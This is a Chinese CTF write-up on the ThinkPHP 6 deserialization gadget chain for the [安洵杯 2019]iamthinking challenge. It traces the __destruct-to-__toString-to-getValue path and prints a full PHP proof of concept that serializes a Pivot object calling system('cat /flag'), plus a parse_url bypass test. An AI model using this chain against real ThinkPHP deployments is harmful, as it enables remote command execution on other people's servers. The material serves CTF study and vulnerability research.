漏洞起点
起因: 在做 [安洵杯 2019]iamthinking 时发现是 thinkphp6 的反序列化,那么就去复现一下呗。
看了其他大佬的 wp,上面说 tp6 的反序列化漏洞的后半段利用和 tp5.2.x 是一样的,也就是 __toString 函数上。
第一步相信大家都知道,全局搜索 __destruct ,查找可以利用的点。
选择的标准:
那么有什么选择的标准呢?我是这么想的,就这个版本而言,假定我们先前不知道哪边有漏洞,那么我们在找漏洞的时候可以先看看前几个版本有什么漏洞,有可能它在修好漏洞的时候,又产生了新的漏洞,或者漏洞依然存在,只是利用方式不同罢了,那么借助这个思路我们可以先看看 tp5.2.x 的漏洞产生点,也就是 __toString 函数上。
全局搜索后可以发现在 Conversion.php 中 __toString 往下推会产生一个漏洞。
__toString => toJson => toArray => getAttr => getValue
可以通过可控的属性进行命令执行。

那么我们这边选择 __destruct 的要求就很明显了,一直往下执行直到有地方能够触发 __toString。
这边选择如下图:

__toString 的触发点为:
save => updateData => checkAllowFields
在 checkAllowFields 中可以看到有一个字符串连接,而这就是 __toString 的触发点。

步骤分析
第一步触发 __toString
我们首先要绕过 save 函数的第一个 if 判断。

isEmpty 函数只需要 $this->data 不为空即可。

tigger 函数中 $this->withEvent 为 false 就行。

然后就是 save 函数的 $this->exists 存在,则进入 updateData() 。

updateData() 函数的第一步和上一步一样。

接着就是 $ data 要存在绕过下面的 if,也就是 getChangedData 中的 $this->force 为 true


然后就进入了 checkAllowFields 函数,只需要令 $this->table 为 __toString 的类或者其他。

简单记录一下流程:
触发 __toString:
svae():
isEmpty()::$this->data = true;
trigger()::$this->withEvent = false;
svae()::$this->exists = true;
updateData():
trigger()::$this->withEvent = false;
getChangedData()::$this->force = true;$this->data = true;
checkAllowFields():
$this->field=[];
$this->schema = [];
$this->table = (__toString);
__toString => getflag
进入 __toString

进入 toJson

进入 toArray

再看 getAttr

getData 里的 getRealFieldName 里的 $this->strict 若为 true (默认为 true),则返回 $name,返回到 getData 中


也就是说 $this->data[$fielName] = $this->data[$key] ,也就是说最后返回的是 $this->getValue($key, $value, $relation);。
继续往下看,到 getValue 函数,这里的 name 就是上面说的 key 键名了,也就是如果是 data['xxx'=>'bbb'] ,那么这里的 name 就是 aaa

最后就是要绕过下面的三个 if,第一个 if 只要 $this->withAttr['xxx'] 存在就行了,第二个 if 默认绕过,第三个 if 只需要 $this->withAttr['xxx']不是嵌套了一个数组就行。

命令执行的地方,$this->withAttr[$fieldName]; 为 $this->withAttr['xxx']; , 这边的 $this->data['xxx'] 的值就是要执行的命令了。(注意这里的 withAttr 和 data 的键名要一样)

最后要实现的时候肯定要找一个子类取实现它,因为 Model 是抽象类。
poc
<?php
namespace think{
abstract class Model{
use model\concern\Attribute;
use model\concern\Conversion;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $field;
protected $schema;
protected $table;
function __construct(){
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->field = [];
$this->schema = [];
$this->table = true;
}
}
}
namespace think\model\concern{
trait Conversion{
}
trait Attribute{
private $data = ["xxx" => "cat /flag"];
private $withAttr = ["xxx" => "system"];
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
public function __construct($obj=''){
parent::__construct();
$this->table = $obj;
}
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));
}
在 [安洵杯 2019]iamthinking 这题中,要绕过 parse_str

直接实例测试:
<?php
$url4 = "//upload?/test/";
$url5 = "//upload?/1=1&id=1";
$url6 = "///upload?id=1";
var_dump(parse_url($url4));
var_dump(parse_url($url5));
var_dump(parse_url($url6));
结果一目了然:

reference
https://blog.csdn.net/weixin_43610673/article/details/120008902




![[附源码]SSM计算机毕业设计在线学习网站的设计与实现JAVA](https://img-blog.csdnimg.cn/8f62bf07f1014ac4b3838fa65b9822ab.png)



![[附源码]java毕业设计水果商城](https://img-blog.csdnimg.cn/5388538baa6d487eb668422cfdcb0305.png)






![[每周一更]-(第21期):什么是RPC?](https://img-blog.csdnimg.cn/8da0fa88284246739efdd771ef8aeb07.png#pic_center)



